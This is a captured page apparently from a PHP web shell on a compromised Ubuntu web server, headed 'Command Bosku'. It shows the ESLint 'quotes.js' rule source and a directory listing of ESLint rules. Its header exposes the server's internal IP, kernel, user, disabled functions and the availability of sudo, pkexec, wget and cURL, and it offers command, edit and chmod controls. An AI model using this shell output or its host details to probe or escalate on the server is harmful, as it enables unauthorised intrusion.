Na}{

Server IP: 172.31.39.10

Your IP: 108.162.241.8

Web Server: Apache/2.4.52 (Ubuntu)

System: Linux ip-172-31-39-10 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux

User: www-data

PHP Version: 7.2.34-54+ubuntu22.04.1+deb.sury.org+1

Disable Function: pcntl_alarm, pcntl_fork, pcntl_waitpid, pcntl_wait, pcntl_wifexited, pcntl_wifstopped, pcntl_wifsignaled, pcntl_wifcontinued, pcntl_wexitstatus, pcntl_wtermsig, pcntl_wstopsig, pcntl_signal, pcntl_signal_get_handler, pcntl_signal_dispatch, pcntl_get_last_error, pcntl_strerror, pcntl_sigprocmask, pcntl_sigwaitinfo, pcntl_sigtimedwait, pcntl_exec, pcntl_getpriority, pcntl_setpriority, pcntl_async_signals, [more...]

MySQL: OFF

cURL: ON

WGET: ON

Perl: ON

Python: OFF

Sudo: ON

Pkexec: ON

Command Bosku:

Path: ~/data/deerwalk-sifal-school-web/node_modules/eslint/lib/rules/

File Content: `quotes.js`

/**
 * @fileoverview A rule to choose between single and double quote marks
 * @author Matt DuVall <http://www.mattduvall.com/>, Brandon Payton
 * @deprecated in ESLint v8.53.0
 */

"use strict";

//------------------------------------------------------------------------------
// Requirements
//------------------------------------------------------------------------------

const astUtils = require("./utils/ast-utils");

//------------------------------------------------------------------------------
// Constants
//------------------------------------------------------------------------------

const QUOTE_SETTINGS = {
    double: {
        quote: "\"",
        alternateQuote: "'",
        description: "doublequote"
    },
    single: {
        quote: "'",
        alternateQuote: "\"",
        description: "singlequote"
    },
    backtick: {
        quote: "`",
        alternateQuote: "\"",
        description: "backtick"
    }
};

// An unescaped newline is a newline preceded by an even number of backslashes.
const UNESCAPED_LINEBREAK_PATTERN = new RegExp(String.raw`(^|[^\\])(\\\\)*[${Array.from(astUtils.LINEBREAKS).join("")}]`, "u");

/**
 * Switches quoting of javascript string between ' " and `
 * escaping and unescaping as necessary.
 * Only escaping of the minimal set of characters is changed.
 * Note: escaping of newlines when switching from backtick to other quotes is not handled.
 * @param {string} str A string to convert.
 * @returns {string} The string with changed quotes.
 * @private
 */
QUOTE_SETTINGS.double.convert =
QUOTE_SETTINGS.single.convert =
QUOTE_SETTINGS.backtick.convert = function(str) {
    const newQuote = this.quote;
    const oldQuote = str[0];

    if (newQuote === oldQuote) {
        return str;
    }
    return newQuote + str.slice(1, -1).replace(/\\(\$\{|\r\n?|\n|.)|["'`]|\$\{|(\r\n?|\n)/gu, (match, escaped, newline) => {
        if (escaped === oldQuote || oldQuote === "`" && escaped === "${") {
            return escaped; // unescape
        }
        if (match === newQuote || newQuote === "`" && match === "${") {
            return `\\${match}`; // escape
        }
        if (newline && oldQuote === "`") {
            return "\\n"; // escape newlines
        }
        return match;
    }) + newQuote;
};

const AVOID_ESCAPE = "avoid-escape";

//------------------------------------------------------------------------------
// Rule Definition
//------------------------------------------------------------------------------

/** @type {import('../shared/types').Rule} */
module.exports = {
    meta: {
        deprecated: true,
        replacedBy: [],
        type: "layout",

        docs: {
            description: "Enforce the consistent use of either backticks, double, or single quotes",
            recommended: false,
            url: "https://eslint.org/docs/latest/rules/quotes"
        },

        fixable: "code",

        schema: [
            {
                enum: ["single", "double", "backtick"]
            },
            {
                anyOf: [
                    {
                        enum: ["avoid-escape"]
                    },
                    {
                        type: "object",
                        properties: {
                            avoidEscape: {
                                type: "boolean"
                            },
                            allowTemplateLiterals: {
                                type: "boolean"
                            }
                        },
                        additionalProperties: false
                    }
                ]
            }
        ],

        messages: {
            wrongQuotes: "Strings must use {{description}}."
        }
    },

    create(context) {

        const quoteOption = context.options[0],
            settings = QUOTE_SETTINGS[quoteOption || "double"],
            options = context.options[1],
            allowTemplateLiterals = options && options.allowTemplateLiterals === true,
            sourceCode = context.sourceCode;
        let avoidEscape = options && options.avoidEscape === true;

        // deprecated
        if (options === AVOID_ESCAPE) {
            avoidEscape = true;
        }

        /**
         * Determines if a given node is part of JSX syntax.
         *
         * This function returns `true` in the following cases:
         *
         * - `<div className="foo"></div>` ... If the literal is an attribute value, the parent of the literal is `JSXAttribute`.
         * - `<div>foo</div>` ... If the literal is a text content, the parent of the literal is `JSXElement`.
         * - `<>foo</>` ... If the literal is a text content, the parent of the literal is `JSXFragment`.
         *
         * In particular, this function returns `false` in the following cases:
         *
         * - `<div className={"foo"}></div>`
         * - `<div>{"foo"}</div>`
         *
         * In both cases, inside of the braces is handled as normal JavaScript.
         * The braces are `JSXExpressionContainer` nodes.
         * @param {ASTNode} node The Literal node to check.
         * @returns {boolean} True if the node is a part of JSX, false if not.
         * @private
         */
        function isJSXLiteral(node) {
            return node.parent.type === "JSXAttribute" || node.parent.type === "JSXElement" || node.parent.type === "JSXFragment";
        }

        /**
         * Checks whether or not a given node is a directive.
         * The directive is a `ExpressionStatement` which has only a string literal not surrounded by
         * parentheses.
         * @param {ASTNode} node A node to check.
         * @returns {boolean} Whether or not the node is a directive.
         * @private
         */
        function isDirective(node) {
            return (
                node.type === "ExpressionStatement" &&
                node.expression.type === "Literal" &&
                typeof node.expression.value === "string" &&
                !astUtils.isParenthesised(sourceCode, node.expression)
            );
        }

        /**
         * Checks whether a specified node is either part of, or immediately follows a (possibly empty) directive prologue.
         * @see {@link http://www.ecma-international.org/ecma-262/6.0/#sec-directive-prologues-and-the-use-strict-directive}
         * @param {ASTNode} node A node to check.
         * @returns {boolean} Whether a specified node is either part of, or immediately follows a (possibly empty) directive prologue.
         * @private
         */
        function isExpressionInOrJustAfterDirectivePrologue(node) {
            if (!astUtils.isTopLevelExpressionStatement(node.parent)) {
                return false;
            }
            const block = node.parent.parent;

            // Check the node is at a prologue.
            for (let i = 0; i < block.body.length; ++i) {
                const statement = block.body[i];

                if (statement === node.parent) {
                    return true;
                }
                if (!isDirective(statement)) {
                    break;
                }
            }

            return false;
        }

        /**
         * Checks whether or not a given node is allowed as non backtick.
         * @param {ASTNode} node A node to check.
         * @returns {boolean} Whether or not the node is allowed as non backtick.
         * @private
         */
        function isAllowedAsNonBacktick(node) {
            const parent = node.parent;

            switch (parent.type) {

                // Directive Prologues.
                case "ExpressionStatement":
                    return !astUtils.isParenthesised(sourceCode, node) && isExpressionInOrJustAfterDirectivePrologue(node);

                // LiteralPropertyName.
                case "Property":
                case "PropertyDefinition":
                case "MethodDefinition":
                    return parent.key === node && !parent.computed;

                // ModuleSpecifier.
                case "ImportDeclaration":
                case "ExportNamedDeclaration":
                    return parent.source === node;

                // ModuleExportName or ModuleSpecifier.
                case "ExportAllDeclaration":
                    return parent.exported === node || parent.source === node;

                // ModuleExportName.
                case "ImportSpecifier":
                    return parent.imported === node;

                // ModuleExportName.
                case "ExportSpecifier":
                    return parent.local === node || parent.exported === node;

                // Others don't allow.
                default:
                    return false;
            }
        }

        /**
         * Checks whether or not a given TemplateLiteral node is actually using any of the special features provided by template literal strings.
         * @param {ASTNode} node A TemplateLiteral node to check.
         * @returns {boolean} Whether or not the TemplateLiteral node is using any of the special features provided by template literal strings.
         * @private
         */
        function isUsingFeatureOfTemplateLiteral(node) {
            const hasTag = node.parent.type === "TaggedTemplateExpression" && node === node.parent.quasi;

            if (hasTag) {
                return true;
            }

            const hasStringInterpolation = node.expressions.length > 0;

            if (hasStringInterpolation) {
                return true;
            }

            const isMultilineString = node.quasis.length >= 1 && UNESCAPED_LINEBREAK_PATTERN.test(node.quasis[0].value.raw);

            if (isMultilineString) {
                return true;
            }

            return false;
        }

        return {

            Literal(node) {
                const val = node.value,
                    rawVal = node.raw;

                if (settings && typeof val === "string") {
                    let isValid = (quoteOption === "backtick" && isAllowedAsNonBacktick(node)) ||
                        isJSXLiteral(node) ||
                        astUtils.isSurroundedBy(rawVal, settings.quote);

                    if (!isValid && avoidEscape) {
                        isValid = astUtils.isSurroundedBy(rawVal, settings.alternateQuote) && rawVal.includes(settings.quote);
                    }

                    if (!isValid) {
                        context.report({
                            node,
                            messageId: "wrongQuotes",
                            data: {
                                description: settings.description
                            },
                            fix(fixer) {
                                if (quoteOption === "backtick" && astUtils.hasOctalOrNonOctalDecimalEscapeSequence(rawVal)) {

                                    /*
                                     * An octal or non-octal decimal escape sequence in a template literal would
                                     * produce syntax error, even in non-strict mode.
                                     */
                                    return null;
                                }

                                return fixer.replaceText(node, settings.convert(node.raw));
                            }
                        });
                    }
                }
            },

            TemplateLiteral(node) {

                // Don't throw an error if backticks are expected or a template literal feature is in use.
                if (
                    allowTemplateLiterals ||
                    quoteOption === "backtick" ||
                    isUsingFeatureOfTemplateLiteral(node)
                ) {
                    return;
                }

                context.report({
                    node,
                    messageId: "wrongQuotes",
                    data: {
                        description: settings.description
                    },
                    fix(fixer) {
                        if (astUtils.isTopLevelExpressionStatement(node.parent) && !astUtils.isParenthesised(sourceCode, node)) {

                            /*
                             * TemplateLiterals aren't actually directives, but fixing them might turn
                             * them into directives and change the behavior of the code.
                             */
                            return null;
                        }
                        return fixer.replaceText(node, settings.convert(sourceCode.getText(node)));
                    }
                });
            }
        };

    }
};

Edit Rename Chmod Delete

FILE FOLDER

Name	Size	Permission
utils	---	0755
accessor-pairs.js	11988 bytes	0644
array-bracket-newline.js	9679 bytes	0644
array-bracket-spacing.js	9170 bytes	0644
array-callback-return.js	15876 bytes	0644
array-element-newline.js	11160 bytes	0644
arrow-body-style.js	12973 bytes	0644
arrow-parens.js	7797 bytes	0644
arrow-spacing.js	5295 bytes	0644
block-scoped-var.js	4337 bytes	0644
block-spacing.js	5943 bytes	0644
brace-style.js	8229 bytes	0644
callback-return.js	6565 bytes	0644
camelcase.js	13983 bytes	0644
capitalized-comments.js	10733 bytes	0644
class-methods-use-this.js	6161 bytes	0644
comma-dangle.js	13850 bytes	0644
comma-spacing.js	7036 bytes	0644
comma-style.js	12006 bytes	0644
complexity.js	5736 bytes	0644
computed-property-spacing.js	7628 bytes	0644
consistent-return.js	7072 bytes	0644
consistent-this.js	5109 bytes	0644
constructor-super.js	15559 bytes	0644
curly.js	19387 bytes	0644
default-case-last.js	1243 bytes	0644
default-case.js	2839 bytes	0644
default-param-last.js	1592 bytes	0644
dot-location.js	3511 bytes	0644
dot-notation.js	6763 bytes	0644
eol-last.js	4102 bytes	0644
eqeqeq.js	5783 bytes	0644
for-direction.js	5125 bytes	0644
func-call-spacing.js	10007 bytes	0644
func-name-matching.js	10150 bytes	0644
func-names.js	6456 bytes	0644
func-style.js	2923 bytes	0644
function-call-argument-newline.js	4414 bytes	0644
function-paren-newline.js	11891 bytes	0644
generator-star-spacing.js	7176 bytes	0644
getter-return.js	7038 bytes	0644
global-require.js	2501 bytes	0644
grouped-accessor-pairs.js	7634 bytes	0644
guard-for-in.js	2370 bytes	0644
handle-callback-err.js	3132 bytes	0644
id-blacklist.js	7716 bytes	0644
id-denylist.js	7209 bytes	0644
id-length.js	6669 bytes	0644
id-match.js	11308 bytes	0644
implicit-arrow-linebreak.js	2951 bytes	0644
indent-legacy.js	44633 bytes	0644
indent.js	78379 bytes	0644
index.js	18317 bytes	0644
init-declarations.js	4485 bytes	0644
jsx-quotes.js	3048 bytes	0644
key-spacing.js	26996 bytes	0644
keyword-spacing.js	24265 bytes	0644
line-comment-position.js	4186 bytes	0644
linebreak-style.js	3568 bytes	0644
lines-around-comment.js	18283 bytes	0644
lines-around-directive.js	7784 bytes	0644
lines-between-class-members.js	11422 bytes	0644
logical-assignment-operators.js	21888 bytes	0644
max-classes-per-file.js	2642 bytes	0644
max-depth.js	4795 bytes	0644
max-len.js	16186 bytes	0644
max-lines-per-function.js	7088 bytes	0644
max-lines.js	6090 bytes	0644
max-nested-callbacks.js	3562 bytes	0644
max-params.js	3175 bytes	0644
max-statements-per-line.js	7525 bytes	0644
max-statements.js	5954 bytes	0644
multiline-comment-style.js	21726 bytes	0644
multiline-ternary.js	7805 bytes	0644
new-cap.js	9525 bytes	0644
new-parens.js	3271 bytes	0644
newline-after-var.js	9689 bytes	0644
newline-before-return.js	8061 bytes	0644
newline-per-chained-call.js	4134 bytes	0644
no-alert.js	4357 bytes	0644
no-array-constructor.js	4483 bytes	0644
no-async-promise-executor.js	1137 bytes	0644
no-await-in-loop.js	2793 bytes	0644
no-bitwise.js	3584 bytes	0644
no-buffer-constructor.js	1430 bytes	0644
no-caller.js	1207 bytes	0644
no-case-declarations.js	1876 bytes	0644
no-catch-shadow.js	2570 bytes	0644
no-class-assign.js	1767 bytes	0644
no-compare-neg-zero.js	1943 bytes	0644
no-cond-assign.js	5657 bytes	0644
no-confusing-arrow.js	2967 bytes	0644
no-console.js	7340 bytes	0644
no-const-assign.js	1555 bytes	0644
no-constant-binary-expression.js	20903 bytes	0644
no-constant-condition.js	4886 bytes	0644
no-constructor-return.js	1609 bytes	0644
no-continue.js	886 bytes	0644
no-control-regex.js	4685 bytes	0644
no-debugger.js	959 bytes	0644
no-delete-var.js	983 bytes	0644
no-div-regex.js	1455 bytes	0644
no-dupe-args.js	2413 bytes	0644
no-dupe-class-members.js	3373 bytes	0644
no-dupe-else-if.js	4623 bytes	0644
no-dupe-keys.js	3969 bytes	0644
no-duplicate-case.js	2087 bytes	0644
no-duplicate-imports.js	9500 bytes	0644
no-else-return.js	16086 bytes	0644
no-empty-character-class.js	2288 bytes	0644
no-empty-function.js	4744 bytes	0644
no-empty-pattern.js	2441 bytes	0644
no-empty-static-block.js	1252 bytes	0644
no-empty.js	3151 bytes	0644
no-eq-null.js	1247 bytes	0644
no-eval.js	9561 bytes	0644
no-ex-assign.js	1468 bytes	0644
no-extend-native.js	6658 bytes	0644
no-extra-bind.js	7572 bytes	0644
no-extra-boolean-cast.js	11985 bytes	0644
no-extra-label.js	5161 bytes	0644
no-extra-parens.js	53275 bytes	0644
no-extra-semi.js	5110 bytes	0644
no-fallthrough.js	7054 bytes	0644
no-floating-decimal.js	2481 bytes	0644
no-func-assign.js	2256 bytes	0644
no-global-assign.js	3041 bytes	0644
no-implicit-coercion.js	13286 bytes	0644
no-implicit-globals.js	5608 bytes	0644
no-implied-eval.js	4653 bytes	0644
no-import-assign.js	7427 bytes	0644
no-inline-comments.js	3369 bytes	0644
no-inner-declarations.js	3033 bytes	0644
no-invalid-regexp.js	6448 bytes	0644
no-invalid-this.js	5134 bytes	0644
no-irregular-whitespace.js	10170 bytes	0644
no-iterator.js	1308 bytes	0644
no-label-var.js	2417 bytes	0644
no-labels.js	4487 bytes	0644
no-lone-blocks.js	4330 bytes	0644
no-lonely-if.js	3740 bytes	0644
no-loop-func.js	6303 bytes	0644
no-loss-of-precision.js	8264 bytes	0644
no-magic-numbers.js	9478 bytes	0644
no-misleading-character-class.js	10109 bytes	0644
no-mixed-operators.js	7763 bytes	0644
no-mixed-requires.js	7430 bytes	0644
no-mixed-spaces-and-tabs.js	3756 bytes	0644
no-multi-assign.js	1807 bytes	0644
no-multi-spaces.js	5157 bytes	0644
no-multi-str.js	1845 bytes	0644
no-multiple-empty-lines.js	6398 bytes	0644
no-native-reassign.js	3065 bytes	0644
no-negated-condition.js	2969 bytes	0644
no-negated-in-lhs.js	1185 bytes	0644
no-nested-ternary.js	1146 bytes	0644
no-new-func.js	3050 bytes	0644
no-new-native-nonconstructor.js	2156 bytes	0644
no-new-object.js	1760 bytes	0644
no-new-require.js	1194 bytes	0644
no-new-symbol.js	1623 bytes	0644
no-new-wrappers.js	1740 bytes	0644
no-new.js	1061 bytes	0644
no-nonoctal-decimal-escape.js	5599 bytes	0644
no-obj-calls.js	2766 bytes	0644
no-object-constructor.js	3632 bytes	0644
no-octal-escape.js	1476 bytes	0644
no-octal.js	1032 bytes	0644
no-param-reassign.js	8620 bytes	0644
no-path-concat.js	1716 bytes	0644
no-plusplus.js	3175 bytes	0644
no-process-env.js	1221 bytes	0644
no-process-exit.js	1270 bytes	0644
no-promise-executor-return.js	8749 bytes	0644
no-proto.js	1240 bytes	0644
no-prototype-builtins.js	5966 bytes	0644
no-redeclare.js	5802 bytes	0644
no-regex-spaces.js	6569 bytes	0644
no-restricted-exports.js	7268 bytes	0644
no-restricted-globals.js	3881 bytes	0644
no-restricted-imports.js	16994 bytes	0644
no-restricted-modules.js	7068 bytes	0644
no-restricted-properties.js	6321 bytes	0644
no-restricted-syntax.js	2217 bytes	0644
no-return-assign.js	2687 bytes	0644
no-return-await.js	5139 bytes	0644
no-script-url.js	1763 bytes	0644
no-self-assign.js	5629 bytes	0644
no-self-compare.js	1854 bytes	0644
no-sequences.js	4777 bytes	0644
no-setter-return.js	7237 bytes	0644
no-shadow-restricted-names.js	2212 bytes	0644
no-shadow.js	12606 bytes	0644
no-spaced-func.js	2483 bytes	0644
no-sparse-arrays.js	1195 bytes	0644
no-sync.js	1685 bytes	0644
no-tabs.js	2504 bytes	0644
no-template-curly-in-string.js	1182 bytes	0644
no-ternary.js	889 bytes	0644
no-this-before-super.js	11134 bytes	0644
no-throw-literal.js	1306 bytes	0644
no-trailing-spaces.js	6882 bytes	0644
no-undef-init.js	2408 bytes	0644
no-undef.js	2358 bytes	0644
no-undefined.js	2289 bytes	0644
no-underscore-dangle.js	13097 bytes	0644
no-unexpected-multiline.js	4290 bytes	0644
no-unmodified-loop-condition.js	11933 bytes	0644
no-unneeded-ternary.js	6952 bytes	0644
no-unreachable-loop.js	6084 bytes	0644
no-unreachable.js	9116 bytes	0644
no-unsafe-finally.js	4004 bytes	0644
no-unsafe-negation.js	4736 bytes	0644
no-unsafe-optional-chaining.js	7133 bytes	0644
no-unused-expressions.js	6229 bytes	0644
no-unused-labels.js	4659 bytes	0644
no-unused-private-class-members.js	7867 bytes	0644
no-unused-vars.js	27653 bytes	0644
no-use-before-define.js	11146 bytes	0644
no-useless-backreference.js	7756 bytes	0644
no-useless-call.js	3057 bytes	0644
no-useless-catch.js	1749 bytes	0644
no-useless-computed-key.js	6452 bytes	0644
no-useless-concat.js	3318 bytes	0644
no-useless-constructor.js	5888 bytes	0644
no-useless-escape.js	13501 bytes	0644
no-useless-rename.js	6016 bytes	0644
no-useless-return.js	14347 bytes	0644
no-var.js	12430 bytes	0644
no-void.js	1765 bytes	0644
no-warning-comments.js	7292 bytes	0644
no-whitespace-before-property.js	4011 bytes	0644
no-with.js	876 bytes	0644
nonblock-statement-body-position.js	4666 bytes	0644
object-curly-newline.js	11804 bytes	0644
object-curly-spacing.js	11892 bytes	0644
object-property-newline.js	3891 bytes	0644
object-shorthand.js	22303 bytes	0644
one-var-declaration-per-line.js	2928 bytes	0644
one-var.js	22904 bytes	0644
operator-assignment.js	8781 bytes	0644
operator-linebreak.js	10113 bytes	0644
padded-blocks.js	11050 bytes	0644
padding-line-between-statements.js	19303 bytes	0644
prefer-arrow-callback.js	14671 bytes	0644
prefer-const.js	18706 bytes	0644
prefer-destructuring.js	11194 bytes	0644
prefer-exponentiation-operator.js	7759 bytes	0644
prefer-named-capture-group.js	5981 bytes	0644
prefer-numeric-literals.js	5838 bytes	0644
prefer-object-has-own.js	4341 bytes	0644
prefer-object-spread.js	10703 bytes	0644
prefer-promise-reject-errors.js	5502 bytes	0644
prefer-reflect.js	4696 bytes	0644
prefer-regex-literals.js	18497 bytes	0644
prefer-rest-params.js	3472 bytes	0644
prefer-spread.js	2849 bytes	0644
prefer-template.js	11419 bytes	0644
quote-props.js	12099 bytes	0644
quotes.js	12703 bytes	0644
radix.js	6914 bytes	0644
require-atomic-updates.js	11367 bytes	0644
require-await.js	3350 bytes	0644
require-jsdoc.js	3865 bytes	0644
require-unicode-regexp.js	5225 bytes	0644
require-yield.js	2103 bytes	0644
rest-spread-spacing.js	4128 bytes	0644
semi-spacing.js	8916 bytes	0644
semi-style.js	5369 bytes	0644
semi.js	16246 bytes	0644
sort-imports.js	10876 bytes	0644
sort-keys.js	7329 bytes	0644
sort-vars.js	4136 bytes	0644
space-before-blocks.js	7315 bytes	0644
space-before-function-paren.js	6006 bytes	0644
space-in-parens.js	10800 bytes	0644
space-infix-ops.js	6576 bytes	0644
space-unary-ops.js	12687 bytes	0644
spaced-comment.js	13158 bytes	0644
strict.js	10618 bytes	0644
switch-colon-spacing.js	5014 bytes	0644
symbol-description.js	2093 bytes	0644
template-curly-spacing.js	4852 bytes	0644
template-tag-spacing.js	3156 bytes	0644
unicode-bom.js	2206 bytes	0644
use-isnan.js	4753 bytes	0644
valid-jsdoc.js	20560 bytes	0644
valid-typeof.js	5040 bytes	0644
vars-on-top.js	5290 bytes	0644
wrap-iife.js	7992 bytes	0644
wrap-regex.js	1891 bytes	0644
yield-star-spacing.js	4413 bytes	0644
yoda.js	12180 bytes	0644

Command Bosku:

File Content: quotes.js

File Content: `quotes.js`